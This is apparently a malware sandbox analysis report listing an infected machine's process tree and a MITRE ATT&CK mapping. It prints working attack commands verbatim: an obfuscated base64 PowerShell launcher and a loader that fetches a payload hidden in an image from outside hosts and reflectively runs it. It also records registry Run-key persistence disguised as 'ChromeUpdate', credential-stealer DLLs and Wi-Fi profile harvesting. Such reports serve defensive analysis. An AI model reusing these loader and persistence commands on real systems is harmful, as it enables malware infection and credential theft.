TregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreDQDgTreNgDgTrezDgTreDUDgTreYgBhDgTreGMDgTreYQDgTre3DgTreGMDgTreNDgTreBkDgTreC0DgTreMwDgTreyDgTreGMDgTreODgTreDgTretDgTreDQDgTreYwDgTre1DgTreDQDgTreLQDgTrewDgTreGEDgTreNDgTreDgTre2DgTreC0DgTreMgDgTreyDgTreGQDgTreMwDgTre3DgTreDYDgTreODgTreDgTre1DgTreD0DgTrebgBlDgTreGsDgTrebwB0DgTreCYDgTreYQBpDgTreGQDgTreZQBtDgTreD0DgTredDgTreBsDgTreGEDgTrePwB0DgTreHgDgTredDgTreDgTreuDgTreGUDgTreZgBpDgTreGMDgTredQBsDgTreC8DgTrebwDgTrevDgTreG0DgTrebwBjDgTreC4DgTredDgTreBvDgTreHDgTreDgTrecwBwDgTreHDgTreDgTreYQDgTreuDgTreDcDgTreZQDgTre3DgTreDkDgTreZDgTreDgTretDgTreGcDgTredQBsDgTreHDgTreDgTrebQBhDgTreG4DgTredDgTreBlDgTreGkDgTredgDgTrevDgTreGIDgTreLwDgTrewDgTreHYDgTreLwBtDgTreG8DgTreYwDgTreuDgTreHMDgTreaQBwDgTreGEDgTreZQBsDgTreGcDgTrebwBvDgTreGcDgTreLgBlDgTreGcDgTreYQByDgTreG8DgTredDgTreBzDgTreGUDgTrecwBhDgTreGIDgTreZQByDgTreGkDgTreZgDgTrevDgTreC8DgTreOgBzDgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBODgTreGEDgTrebQBlDgTreF8DgTreRgBpDgTreGwDgTreZQDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
        7⤵
        
        PID:1404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/739/227/original/new_image.jpg?1707826222', 'http://45.74.19.84/xampp/bkp/vbs_novo_new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('4635baca7c4d-32c8-4c54-0a46-22d37685=nekot&aidem=tla?txt.eficul/o/moc.topsppa.7e79d-gulpmanteiv/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , '1' , 'C:\ProgramData\' , 'Name_File','AddInProcess32',''))} }"
        8⤵
        
        PID:2724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Name_File.vbs
        9⤵
        
        PID:5724
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        9⤵
        
        PID:4344
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        9⤵
        
        PID:5632
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        9⤵
        
        PID:5472
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Windows\system32\AddInProcess32.exe /f
        10⤵
        
        PID:5724
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Windows\system32\AddInProcess32.exe /f
        11⤵
        Modifies registry key
        
        PID:5996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd /c start "" /min "C:\Users\Admin\AppData\Local\MicrosoftEdge\Updates\msedge.exe""
      4⤵
      PID:6040
    - - C:\Windows\system32\cmd.exe
        
        cmd /c start "" /min "C:\Users\Admin\AppData\Local\MicrosoftEdge\Updates\msedge.exe"
        5⤵
        
        PID:5276
      - C:\Users\Admin\AppData\Local\MicrosoftEdge\Updates\msedge.exe
        
        "C:\Users\Admin\AppData\Local\MicrosoftEdge\Updates\msedge.exe"
        6⤵
        
        PID:5312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd /c start "" /min "C:\Users\Admin\AppData\Local\MicrosoftEdge\Updates\msedge.exe""
      4⤵
      PID:5260
- C:\Users\Admin\AppData\Local\Temp\1000656001\InstallSetup3.exe
  "C:\Users\Admin\AppData\Local\Temp\1000656001\InstallSetup3.exe"
  2⤵
  - Executes dropped EXE
  PID:4516
- - C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
    C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5012
- - C:\Users\Admin\AppData\Local\Temp\nsz4F76.tmp
    C:\Users\Admin\AppData\Local\Temp\nsz4F76.tmp
    3⤵
    PID:1868
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 1340
      4⤵
      Program crash
      PID:3352
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:2520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\316742141224_Desktop.zip' -CompressionLevel Optimal
      4⤵
      PID:212
- C:\Users\Admin\AppData\Local\Temp\1000657001\FileAk.exe
  "C:\Users\Admin\AppData\Local\Temp\1000657001\FileAk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1952
- C:\Users\Admin\AppData\Local\Temp\1000658001\father1.exe
  "C:\Users\Admin\AppData\Local\Temp\1000658001\father1.exe"
  2⤵
  - Executes dropped EXE
  PID:4180
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2976
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
  2⤵
  PID:3324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2532 -ip 2532
1⤵
PID:2664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 2532 -ip 2532
1⤵
PID:2724

C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe
C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:3872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1868 -ip 1868
1⤵
PID:5360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Network Service Discovery

T1046

Query Registry

System Information Discovery

T1082

Virtualization/Sandbox Evasion